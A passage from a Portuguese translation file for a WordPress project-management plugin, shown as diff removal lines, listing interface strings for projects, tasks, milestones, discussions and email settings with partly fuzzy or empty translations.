comentário em %s" - -# @ cpm -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s atualizou comentário em %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -# @ cpm -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Projeto" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -# @ cpm -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Lista de Tarefas" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -# @ cpm -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Marco" - -# @ cpm -#: texts/resource_types.php:20 -#, fuzzy -#| msgid "%d comment" -#| msgid_plural "%d comments" -msgid "comment" -msgstr "%d comentário" - -# @ cpm -#: texts/resource_types.php:23 -#, fuzzy -#| msgid "%d file" -#| msgid_plural "%d files" -msgid "file" -msgstr "%d arquivo" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -# @ cpm -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Nenhum comentário encontrado" - -# @ cpm -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "Nenhum Projeto encontrado" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -# @ cpm -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Você tem certeza?" - -# @ cpm -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "Você quer mesmo excluir este projeto?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Você quer mesmo excluir essa mensagem?" - -# @ cpm -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "Você quer mesmo excluir este projeto?" - -# @ cpm -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Adicionar Nova Mensagem" - -# @ cpm -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Atualizar Mensagem" - -# @ cpm -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Atividades do Projeto" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Lista de Tarefas" - -# @ cpm -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Marcos" - -# @ cpm -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Arquivos" - -# @ cpm -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Editar" - -# @ cpm -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Excluir essa mensagem" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Informe o título da mensagem" - -# @ cpm -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Adicionar Mensagem" - -# @ cpm -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Atualizar Mensagem" - -# @ cpm -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Iniciar um novo projeto" - -# @ cpm -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Título do projeto" - -# @ wedevs -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Descrição sobre o projeto (opcional)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Adicionar Novo Projeto" - -# @ cpm -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Atualizar Projeto" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Editar Marco" - -# @ cpm -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Excluir marco" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Marcar como finalizado" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Título do Marco" - -# @ cpm -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Adicionar Marco" - -# @ cpm -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Atualizar Marco" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Adicionar Tarefa" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Atualizar Lista" - -# @ cpm -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Adicionar Lista" - -# @ cpm -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "Excluir marco" - -# @ cpm -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Salvar Alterações" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Atividade" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Excluir" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Selecionar todos" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -# @ cpm -# @ wedevs -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Cancelar" - -# @ cpm -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "Selecionar todos" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -# @ default -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Excluir Arquivo" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -# @ cpm -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Finalizado" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -# @ cpm -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Notificar Equipe" - -# @ cpm -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "Saiba Mais..." - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Criar nova mensagem" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "Mensagem" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Nenhum usuário encontrado" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Novo Projeto" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Tarefas" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Marcos Finalizados" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Finalizado em:" - -# @ cpm -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Marcos Atrasados" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Marcos Futuros" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "restante(s)" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Nova Lista de Tarefas" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "Configurações de E-Mail" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "Formato do E-Mail" - -# @ cpm -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "HTML" - -# @ cpm -#: views/assets/src/components/settings/email.vue:40 